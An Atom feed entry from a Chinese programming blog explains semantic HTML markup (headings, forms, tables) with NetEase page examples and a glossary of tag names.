<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_∠角络</title><subtitle type="text">程序人生</subtitle><id>http://feed.cnblogs.com/blog/u/28100/rss</id><updated>2011-11-05T08:01:17Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><generator>CNBlogs BlogServer</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/28100/rss"/><entry><id>http://www.cnblogs.com/netcorner/archive/2011/11/05/2237107.html</id><title type="text">前台开发之HTML定义语义化</title><summary type="text">目的：搜索引擎看不到社觉效果，只能看到代码，通过标签判断内容的语义。通过语义化能让搜索引擎更好识别网页内容。制作页面步骤：先确定HTML，确定语义的标签，再来选用合适的CSS。如何确定网页语义是否良好？ 去掉样式，看网页结构是否组织良好有序，是否仍然有很好的可读性。语义化几个关键点： 1.每张网页都必须有一个h1来表示大标题，且一张网页里面只存在一个h1标记。 2.标题与内容 注：只有当页面内标签无法满足设计需要时，才会适当添加div和span等无语义标签来辅助实现。 (1).单标题内容 &amp;lt;div id=&amp;quot;gy&amp;quot; class=&amp;quot;mod&amp;quot;&amp;gt; &amp;</summary><published>2011-11-05T08:01:00Z</published><updated>2011-11-05T08:01:00Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><link rel="alternate" href="http://www.cnblogs.com/netcorner/archive/2011/11/05/2237107.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/archive/2011/11/05/2237107.html"/><content type="html">&#xD;
&lt;p&gt;&lt;strong&gt;目的：&lt;/strong&gt;搜索引擎看不到社觉效果，只能看到代码，通过标签判断内容的语义。通过语义化能让搜索引擎更好识别网页内容。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;制作页面步骤：&lt;/strong&gt;先确定HTML，确定语义的标签，再来选用合适的CSS。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;如何确定网页语义是否良好？ &lt;/strong&gt;&lt;br /&gt;&#xD;
  去掉样式，看网页结构是否组织良好有序，是否仍然有很好的可读性。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;语义化几个关键点：&lt;br /&gt;&#xD;
    &lt;strong&gt;1.&lt;/strong&gt;&lt;strong&gt;每张网页都必须有一个h1&lt;/strong&gt;&lt;strong&gt;来表示大标题，且一张网页里面只存在一个h1&lt;/strong&gt;&lt;strong&gt;标记。 &lt;/strong&gt;&lt;br /&gt;&#xD;
    &lt;strong&gt;2.&lt;/strong&gt;&lt;strong&gt;标题与内容 &lt;/strong&gt;&lt;br /&gt;&#xD;
  注：只有当页面内标签无法满足设计需要时，才会适当添加div和span等无语义标签来辅助实现。 &lt;br /&gt;&#xD;
  (1).单标题内容&lt;br /&gt;&#xD;
  &lt;img border="0" alt="" src="http://images.cnblogs.com/cnblogs_com/netcorner/clip_image001.jpg" width="216" height="305" /&gt;&lt;br /&gt;&#xD;
  &amp;lt;div id="gy" &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;h2 &amp;gt;网易公司新闻&amp;lt;/h2&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;ul &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;li &amp;gt;&amp;lt;a href="http://tech.163.com/11/1103/11/7HUD3AVS000915BF.html"&amp;gt;网易企业邮获最高级安全认证&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &lt;br /&gt;&#xD;
  &amp;#8230; &lt;br /&gt;&#xD;
  &amp;lt;/ul&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;ul &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;li&amp;gt;&amp;lt;a href="http://media.163.com/"&amp;gt;[传媒]&amp;lt;/a&amp;gt; &amp;lt;a target="_blank"  href="http://media.163.com/11/1104/10/7I0PG0JM00762H91.html"&amp;gt;电视节目生存的底线&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;#8230; &lt;br /&gt;&#xD;
  &amp;lt;/ul&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &lt;br /&gt;&#xD;
  (2).多标题内容&lt;/p&gt;&#xD;
&lt;p align="left"&gt;&lt;img border="0" alt="" src="http://images.cnblogs.com/cnblogs_com/netcorner/clip_image002.jpg" width="372" height="384" /&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p align="left"&gt;&amp;lt;h2 &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;span &amp;gt;&amp;lt;a href="http://book.163.com/special/vip_book/"&amp;gt;原创&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;span &amp;gt;&amp;lt;a href="http://book.163.com/special/vip_book/"&amp;gt;全本&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;/h2&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;a href="http://data.book.163.com/book/home/009200260003/000BNZFL.html?wangshou1"&amp;gt;&amp;lt;img src="http://img3.cache.netease.com/book/2011/11/5/20111105085539de923.jpg"  alt="天书：神秘家族的字符" title="天书：神秘家族的字符" height="90" width="120" /&amp;gt;&amp;lt;cite&amp;gt;天书：神秘家族的字符&amp;lt;/cite&amp;gt;&amp;lt;/a&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;h3  &amp;gt;&amp;lt;a href="http://data.book.163.com/book/home/009200260001/000BNYbZ.html?wangshou1"&amp;gt;无法呼吸：精神病院里的杀手&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;ul &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;li&amp;gt;&amp;lt;a href="http://data.book.163.com/book/home/009200260002/000BNZAV.html?wangshou1"&amp;gt;[悬疑]诡闻档案：解密731部队&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;#8230; &lt;br /&gt;&#xD;
  &amp;lt;/ul&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;ul &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;li&amp;gt;&amp;lt;a href="http://book.163.com/special/vip_book/?wangshou1"&amp;gt;[网易原创]&amp;lt;/a&amp;gt; &amp;lt;a target="_blank"  href="http://data.book.163.com/book/home/009200260001/000BNYeO.html"&amp;gt;冥间阴乐:民国农家棺中女尸离奇蒸发&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;#8230; &lt;br /&gt;&#xD;
  &amp;lt;/ul&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;ul &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;li&amp;gt;&amp;lt;a href="http://book.163.com/special/minghun/?wangshou1"&amp;gt;&amp;lt;em class='fB'&amp;gt;微活动&amp;lt;/em&amp;gt;&amp;lt;/a&amp;gt; | &amp;lt;a target="_blank" href="http://book.163.com/special/minghun/"&amp;gt;周德东《冥婚》拍电影 你来选主角&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;#8230; &lt;br /&gt;&#xD;
  &amp;lt;/ul&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;a href="http://data.book.163.com/book/home/009200010002/000BIUGA.html"&amp;gt;&amp;lt;img src="http://img6.cache.netease.com/book/2011/11/5/201111050939467f195.jpg"  alt="罂粟美人的致命诱惑" title="罂粟美人的致命诱惑" height="90" width="120" /&amp;gt;&amp;lt;cite&amp;gt;罂粟美人的致命诱惑&amp;lt;/cite&amp;gt;&amp;lt;/a&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;h3 &amp;gt;&amp;lt;a href="http://data.book.163.com/book/home/009200010009/000BHVZQ.html"&amp;gt;大禁地：凶杀案引出帝王陵寝&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;ul &amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;li&amp;gt;&amp;lt;a href="http://data.book.163.com/book/home/009200010013/000BEKaV.html"&amp;gt;权色：副省长对女色失去兴趣&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;#8230; &lt;br /&gt;&#xD;
  &amp;lt;/ul&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;ul &amp;gt;&lt;br /&gt;&#xD;
  &lt;br /&gt;&#xD;
  &amp;lt;li&amp;gt;&amp;lt;a href="http://t.163.com/zt/book/xyjd06"&amp;gt;&amp;lt;em class='cBlack fB'&amp;gt;诡故事&amp;lt;/em&amp;gt;&amp;lt;/a&amp;gt; |&amp;lt;a target="_blank" href="http://t.163.com/zt/book/xyjd06"&amp;gt; 悬疑基地第六期：镜中灵魂的另一面&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;#8230; &lt;br /&gt;&#xD;
  &amp;lt;/ul&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;结合网易的代码，个人觉得像一般的标题和内容，理想结构应该是：&lt;br /&gt;&#xD;
  单标签&lt;br /&gt;&#xD;
  &amp;lt;div id=&amp;#8221;news&amp;#8221;&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div  class=&amp;#8221;hd&amp;#8221;&amp;gt;&amp;lt;h2&amp;gt;标题&amp;lt;/h2&amp;gt; 更多&amp;gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div  class=&amp;#8221;bd&amp;#8221;&amp;gt;内容&amp;lt;/div&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;br /&gt;&#xD;
  多标签&lt;br /&gt;&#xD;
  &amp;lt;div id=&amp;#8221;news&amp;#8221;&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;h2  class=&amp;#8221;tab-hd&amp;#8221;&amp;gt;&amp;lt;span &amp;gt;体育&amp;lt; span &amp;gt; &amp;lt; span  &amp;gt;娱乐&amp;lt;/ span &amp;gt;&amp;lt;/h2&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;div  class=&amp;#8221;hd tab-bd&amp;#8221;&amp;gt;内容&amp;lt;/div&amp;gt; &lt;br /&gt;&#xD;
  &amp;lt;/div&amp;gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt;&lt;strong&gt;表单 &lt;/strong&gt;&lt;br /&gt;&#xD;
  (1).表单域要用filedset标签包起来，并用legend标签说明表单的用途。&lt;br /&gt;&#xD;
  (2).每个input标签对应的说明文本都需要使用label标签并且通过为input设置id属性，在label标签中设置for=&amp;#8221;someid&amp;#8221;  说明文本和相应的input关联起来&lt;br /&gt;&#xD;
  例：&lt;br /&gt;&#xD;
  &amp;lt;form action=&amp;#8221;&amp;#8221; method=&amp;#8221;&amp;#8221;&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;fieldset&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;legend&amp;gt;登录表单&amp;lt;/legend&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;p&amp;gt;&amp;lt;label for=&amp;#8221;username&amp;#8221;&amp;gt;用户名&amp;lt;/label&amp;gt;&amp;lt;input type=&amp;#8221;text&amp;#8221;  name=&amp;#8221;username&amp;#8221; id=&amp;#8221;username/&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&#xD;
  &amp;#8230;&lt;br /&gt;&#xD;
  &amp;lt;/filedset&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;/form&amp;gt;&lt;br /&gt;&#xD;
  &lt;strong&gt;4.&lt;/strong&gt;&lt;strong&gt;表格 &lt;/strong&gt;&lt;br /&gt;&#xD;
  作用：展示二维数据。&lt;br /&gt;&#xD;
  表格标题要用caption,表头要用thead包围，主体部分用tbody包围，尾部要用tfoot包围，表头和一般单无格要区分开，表头用th,一般单元格用td&lt;br /&gt;&#xD;
  例：&lt;br /&gt;&#xD;
  &amp;lt;table&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;caption&amp;gt;二维数据展示&amp;lt;/caption&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;thead&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;th&amp;gt;标题&amp;lt;/th&amp;gt; &amp;#8230;&lt;br /&gt;&#xD;
  &amp;lt;/thead&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;tbody&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;td&amp;gt;标题对应的内容&amp;lt;/td&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;/tbody&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;tfoot&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;td&amp;gt;底部相关信息&amp;lt;/td&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;/tfoot&amp;gt;&lt;br /&gt;&#xD;
  &amp;lt;/table&amp;gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;语义化标签注意的其它问题： &lt;/strong&gt;&lt;br /&gt;&#xD;
  尽可能少地使用无语义标签div和span&lt;br /&gt;&#xD;
  在语义不明显的情况下，可用p和div，尽量用p，因为p默认情况 下有上下间距，去样式后的可读性更好，对兼特殊终端有利&lt;br /&gt;&#xD;
  不要使用纯样式标签，例如b\font\u改用CSS设置。语义上需要强调的文本可以包在strong或em标签里。&lt;br /&gt;&#xD;
  &lt;strong&gt;附: 标签语义中英文对照表&lt;/strong&gt; &lt;/p&gt;&#xD;
&lt;table border="0" cellpadding="0"&gt;&#xD;
  &lt;tbody&gt;&lt;tr&gt;&#xD;
    &lt;td&gt;&lt;br /&gt;&#xD;
        &lt;strong&gt;标签名 &lt;/strong&gt; &lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="center"&gt;&lt;strong&gt;英文全拼 &lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="center"&gt;&lt;strong&gt;中文翻译 &lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;a&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;anchor&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;锚 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;abbr&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;abbreviation&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;缩写词 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;acronym&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;acronym&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;取首字母的缩写词 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;address&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;address&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;地址 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;b&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;bold&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;粗体 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;big&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;big&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;变大 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;blockquote&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;block quotation&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;区块引用于 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;br&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;break&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;换行 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;caption&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;caption&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;标题 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;center&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;center&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;居中 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;dd&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;definition description&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;定义描述 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;del &lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;delete&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;删除 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;div&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;division&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;分隔 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;dl&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;definition list&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;定义列表 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;dt&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;definition term&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;定义术语 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;em&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;emphasized&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;加重 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;fieldset&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;fieldset&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;域集 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;font&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;font&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;字体 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;h1~h6&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;header1~header6&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;标题1~标题6&lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;hr&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;horizontal rule&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;水平尺 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;i&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;italic&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;斜体 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;ins&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;inserted&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;插入 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;legend&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;legend&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;图标 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;li&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;list item&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;列表项目 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;ol&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;ordered list&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;排序列表 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;p&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;paragraph&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;段落 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;pre&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;preformatted&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;预定义格式 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;s&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;strikethrough&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;删除线 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;small&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;small&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;变小 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;span&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;span&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;范围 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;strong&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;strong&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;加重 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;sub&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;subscripted&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;下表 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;sup&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;superscripted&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;上标 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;u&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;underlined&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;下划线 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;ul&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;unordered list&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;不排序列表 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
  &lt;tr&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;var&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;variable&lt;/p&gt;&lt;/td&gt;&#xD;
    &lt;td&gt;&lt;p align="left"&gt;变量 &lt;/p&gt;&lt;/td&gt;&#xD;
  &lt;/tr&gt;&#xD;
&lt;/tbody&gt;&lt;/table&gt;&#xD;
